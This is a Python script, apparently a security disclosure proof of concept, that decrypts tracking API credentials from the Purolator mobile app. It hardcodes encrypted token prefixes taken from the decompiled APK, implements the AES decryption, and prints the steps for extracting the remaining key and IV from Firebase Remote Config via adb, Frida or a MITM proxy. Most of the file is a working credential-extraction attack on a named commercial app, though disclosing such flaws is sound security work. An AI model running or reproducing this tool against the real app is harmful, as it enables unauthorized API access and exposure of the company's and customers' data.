#!/usr/bin/env python3
"""
Purolator Mobile App - Tracking API Credential Decryptor

This script demonstrates how attackers can decrypt your tracking API credentials
that are "encrypted" in the APK. All components needed for decryption are present
in the decompiled code.

SECURITY ISSUE: The hardcoded partial encrypted strings + Firebase Remote Config
values provide everything needed to extract credentials.
"""

from Crypto.Cipher import AES
import base64


def decrypt_credential(encrypted_base64, key_base64, iv_string):
    """
    Decrypts a credential using the same method as X.java's d() method

    Args:
        encrypted_base64: Base64 encoded encrypted string
        key_base64: Base64 encoded AES key (from 'ssap' field)
        iv_string: Initialization vector string (from 'rotcev' field)

    Returns:
        Decrypted plaintext string
    """
    try:
        # Decode the base64 strings
        encrypted_bytes = base64.b64decode(encrypted_base64)
        key_bytes = base64.b64decode(key_base64)
        iv_bytes = iv_string.encode('utf-8')

        # Create AES cipher with GCM mode
        # Note: The Java code uses IvParameterSpec which is actually CBC mode
        # despite the cipher being "AES/GCM/NoPadding"
        cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes[:16])

        # Decrypt
        decrypted = cipher.decrypt(encrypted_bytes)

        # Remove PKCS7 padding and convert to string
        pad_len = decrypted[-1]
        decrypted = decrypted[:-pad_len]

        return decrypted.decode('utf-8').strip()
    except Exception as e:
        print(f"Decryption error: {e}")
        return None


def main():
    """
    Main function to decrypt tracking API credentials

    TO USE THIS SCRIPT:
    1. Extract Firebase Remote Config from the app (use adb, frida, or decompile)
    2. Find the EncryptionData JSON object
    3. Extract these fields:
       - KCART: rest of encrypted tracking token
       - SSAP: encryption key (base64)
       - ROTCEV: initialization vector
       - KNIL -> HT: HTTP link part 1
       - KNIL -> KCART: HTTP link part 2
    """

    print("=" * 70)
    print("Purolator Tracking API Credential Decryptor")
    print("=" * 70)
    print()

    # From X.java line 77 - hardcoded partial encrypted strings
    HARDCODED_TRACK_PREFIX = "EiTT1YdYxrJeWAMlSoyhIs8AZlB3ye8qPpd"
    HARDCODED_ACCOUNT_PREFIX = "FQ/E1KpKybV2Kn87ao2UAcZXf3JbzOsZHek7d09yXrsn+nghl"

    print("HARDCODED VALUES FOUND IN APK:")
    print(f"  Tracking Token Prefix: {HARDCODED_TRACK_PREFIX}")
    print(f"  Account Token Prefix: {HARDCODED_ACCOUNT_PREFIX}")
    print()

    print("REQUIRED VALUES FROM FIREBASE REMOTE CONFIG:")
    print("  You need to extract these from the Firebase Remote Config JSON:")
    print()
    print("  1. EncryptionData.KCART (rest of tracking token)")
    print("  2. EncryptionData.SSAP (encryption key - base64)")
    print("  3. EncryptionData.ROTCEV (initialization vector)")
    print("  4. EncryptionData.KNIL.HT (HTTP link part 1)")
    print("  5. EncryptionData.KNIL.KCART (HTTP link part 2)")
    print()

    # Example usage (fill in with actual values)
    print("=" * 70)
    print("TO DECRYPT, FILL IN THESE VALUES:")
    print("=" * 70)
    print()

    # These values come from Firebase Remote Config
    kcart_suffix = input("Enter KCART suffix (from Firebase): ").strip()
    ssap_key = input("Enter SSAP key (from Firebase): ").strip()
    rotcev_iv = input("Enter ROTCEV IV (from Firebase): ").strip()

    if kcart_suffix and ssap_key and rotcev_iv:
        print()
        print("Attempting decryption...")
        print()

        # Reconstruct full encrypted tracking token
        full_encrypted_track = HARDCODED_TRACK_PREFIX + kcart_suffix

        # Decrypt
        tracking_token = decrypt_credential(
            full_encrypted_track, ssap_key, rotcev_iv)

        if tracking_token:
            print("=" * 70)
            print("DECRYPTED TRACKING API CREDENTIALS:")
            print("=" * 70)
            print(f"Tracking Token: {tracking_token}")
            print()
            print("⚠️  SECURITY WARNING:")
            print("    This token can be used to make unauthorized API calls")
            print("    to your tracking service!")
            print("=" * 70)
        else:
            print("❌ Decryption failed. Check your input values.")
    else:
        print()
        print("📌 HOW TO GET FIREBASE CONFIG VALUES:")
        print()
        print("Method 1: ADB (if app is running)")
        print("  adb shell")
        print("  run-as com.purolator.mobileapp")
        print(
            "  cat shared_prefs/com.google.firebase.remoteconfig_FirebaseRemoteConfig.xml")
        print()
        print("Method 2: Frida (intercept at runtime)")
        print("  Hook Utils.j0() or FirebaseRemoteConfig.getInstance()")
        print()
        print("Method 3: MITM Proxy (intercept Firebase API call)")
        print("  Proxy the app traffic and capture the Firebase Remote Config response")
        print()


if __name__ == "__main__":
    main()
